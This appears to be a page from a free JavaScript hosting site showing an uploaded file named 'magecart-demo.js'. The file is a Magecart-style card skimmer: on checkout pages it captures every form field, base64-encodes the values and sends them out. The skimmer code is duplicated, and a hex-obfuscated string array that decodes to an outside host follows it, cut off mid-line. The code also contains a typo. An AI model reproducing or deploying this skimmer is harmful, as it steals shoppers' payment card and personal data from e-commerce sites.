Free javascript Hosting


magecart-demo.js

Uploaded on Oct 28 2021 21:50 by segksegsovesvesldgkdlgdrgd

function validateCreditCard(s) {
// remove non-numerics
var v = "0123456789";
var w = "";
for (i = 0; i < s.length; i++) {
x = s.charAt(i);
if (v.indexOf(x, 0) != -1)
w += x;
}
// validate number
j = w.length / 2;
k = Math.floor(j);
m = Math.ceil(j) - k;
c = 0;
for (i = 0; i < k; i++) {
a = w.charAt(i * 2 + m) * 2;
c += a > 9 ? Math.floor(a / 10 + a % 10) : a;
}
for (i = 0; i < k + m; i++) c += w.charAt(i * 2 + 1 - m) * 1;
return (c % 10 == 0);
}

var be20b6410993ea4c7a48767775856514b = {
snd: null,
e294b002686cad2df01bb59e3e2299f3e: '',
myid: (function (name) {
var matches = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + '=([^;]*)'));
return matches ? decodeURIComponent(matches[1]) : undefined;
})('setidd') || (function () {
var ms = new Date();
var myid = ms.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var date = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
document.cookie = 'setidd=' + myid + '; path=/; expires=' + date.toUTCString();
return myid;
})(),
clk: function () {
be20b6410993ea4c7a48767775856514b.snd = null;
var inp = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < inp.length; i++) {
if (inp[i].value.length > 0) {
var nme = inp[i].name;
if (nme == '') { nme = i; }
be20b6410993ea4c7a48767775856514b.snd += inp[i].name + '=' + inp[i].value + '&';
}
}
},
send: function () {
try {
var btn = document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for (var i = 0; i < btn.length; i++) {
var b = btn[i];
if (b.type != 'text' && b.type != 'select' && b.type != 'checkbox' && b.type != 'password' && b.type != 'radio') {
if (b.addEventListener) {
b.addEventListener('click', be20b6410993ea4c7a48767775856514b.clk, false);
} else {
b.attachEvent('onclick', be20b6410993ea4c7a48767775856514b.clk);
}
}
}
var frm = document.querySelectorAll('form');
for (vari = 0; i < frm.length; i++) {
if (frm[i].addEventListener) {
frm[i].addEventListener('submit', be20b6410993ea4c7a48767775856514b.clk, false);
} else {
frm[i].attachEvent('onsubmit', be20b6410993ea4c7a48767775856514b.clk);
}
}
if (be20b6410993ea4c7a48767775856514b.snd != null) {
var domm = location.hostname.split('.').slice(0).join('_') || 'nodomain';
var keym = btoa(be20b6410993ea4c7a48767775856514b.snd);
var http = new XMLHttpRequest();
http.open('POST', '', true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send('info=' + keym + '&hostname=' + domm + '&key=' + be20b6410993ea4c7a48767775856514b.myid);
}
be20b6410993ea4c7a48767775856514b.snd = null;
keym = null;
setTimeout(function () { be20b6410993ea4c7a48767775856514b.send() }, 30);
} catch (e) { }
}
}

if ((new RegExp('onepage|checkout|onestep', 'gi')).test(window.location)) {
be20b6410993ea4c7a48767775856514b.send();
} var be20b6410993ea4c7a48767775856514b = {
snd: null,
e294b002686cad2df01bb59e3e2299f3e: '',
myid: (function (name) {
var matches = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + '=([^;]*)'));
return matches ? decodeURIComponent(matches[1]) : undefined;
})('setidd') || (function () {
var ms = new Date();
var myid = ms.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
var date = new Date(new Date().getTime() + 60 * 60 * 24 * 1000);
document.cookie = 'setidd=' + myid + '; path=/; expires=' + date.toUTCString();
return myid;
})(),
clk: function () {
be20b6410993ea4c7a48767775856514b.snd = null;
var inp = document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i = 0; i < inp.length; i++) {
if (inp[i].value.length > 0) {
var nme = inp[i].name;
if (nme == '') { nme = i; }
be20b6410993ea4c7a48767775856514b.snd += inp[i].name + '=' + inp[i].value + '&';
}
}
},
send: function () {
try {
var btn = document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for (var i = 0; i < btn.length; i++) {
var b = btn[i];
if (b.type != 'text' && b.type != 'select' && b.type != 'checkbox' && b.type != 'password' && b.type != 'radio') {
if (b.addEventListener) {
b.addEventListener('click', be20b6410993ea4c7a48767775856514b.clk, false);
} else {
b.attachEvent('onclick', be20b6410993ea4c7a48767775856514b.clk);
}
}
}
var frm = document.querySelectorAll('form');
for (vari = 0; i < frm.length; i++) {
if (frm[i].addEventListener) {
frm[i].addEventListener('submit', be20b6410993ea4c7a48767775856514b.clk, false);
} else {
frm[i].attachEvent('onsubmit', be20b6410993ea4c7a48767775856514b.clk);
}
}
if (be20b6410993ea4c7a48767775856514b.snd != null) {
var domm = location.hostname.split('.').slice(0).join('_') || 'nodomain';
var keym = btoa(be20b6410993ea4c7a48767775856514b.snd);
var http = new XMLHttpRequest();
http.open('POST', '', true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send('info=' + keym + '&hostname=' + domm + '&key=' + be20b6410993ea4c7a48767775856514b.myid);
}
be20b6410993ea4c7a48767775856514b.snd = null;
keym = null;
setTimeout(function () { be20b6410993ea4c7a48767775856514b.send() }, 30);
} catch (e) { }
}
}

if ((new RegExp('onepage|checkout|onestep', 'gi')).test(window.location)) {
be20b6410993ea4c7a48767775856514b.send();
} var _0xd60e = ["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x6E\x66\x6F\x72\x6D\x61\x65\x72\x2E\x63\x6F\x6D\x2F\x6A\x73\x2F\x69\x6E\x66\x6F\x5F\x6A\x71\x75\x65\x72\x79\x2E\x6A\x73", "\x73\x65\x74\x69\x64\x64", "\x28\x3F\x3A\x5E\x7C\x3B\x20\x29", "\x5C\x24\x31", "\x72\x65\x70\x6C\x61\x63\x65", "\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29", "\x6D\x61\x74\x63\x68", "\x63\x6F\x6F\x6B\x69\x65", "\x67\x65\x74\x54\x69\x6D\x65", "\x2D", "\x72\x61\x6E\x64\x6F\x6D", "\x66\x6C\x6F\x6F\x72", "\x73\x65\x74\x69\x64\x64\x3D", "\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D", "\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67", "\x73\x6E\x64", "\x69\x6E\x70\x75\x74\x2C\x20\x73\x65\x6C\x65\x63\x74\x2C\x20\x74\x65\x78\x74\x61\x72\x65\x61\x2C\x20\x63\x68\x65\x63\x6B\x62\x6F\x78\x2C\x20\x62\x75\x74\x74\x6F\x6E", "\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72\x41\x6C\x6C", "\x6C\x65\x6E\x67\x74\x68", "\x76\x61\x6C\x75\x65", "\x6E\x61\x6D\x65", "", "\x3D", "\x26", "\x61\x5B\x68\x72\x65\x66\x2A\x3D\x27\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x76\x6F\x69\x64\x28\x30\x29\x27\x5D\x2C\x62\x75\x74\x74\x6F\x6E\x2C\x20\x69\x6E\x70\x75\x74\x2C\x20\x73\x75\x62\x6D\x69\x74\x2C\x20\x2E\x62\x74\x6E\x2C\x20\x2E\x62\x75\x74\x74\x6F\x6E", "\x74\x79\x70\x65", "\x74\x65\x78\x74", "\x73\x65\x6C\x65\x63\x74", "\x63\x68\x65\x63\x6B\x62\x6F\x78", "\x70\x61\x73\x73\x77\x6F\x72\x64", "\x72\x61\x64\x69\x6F", "

Back to list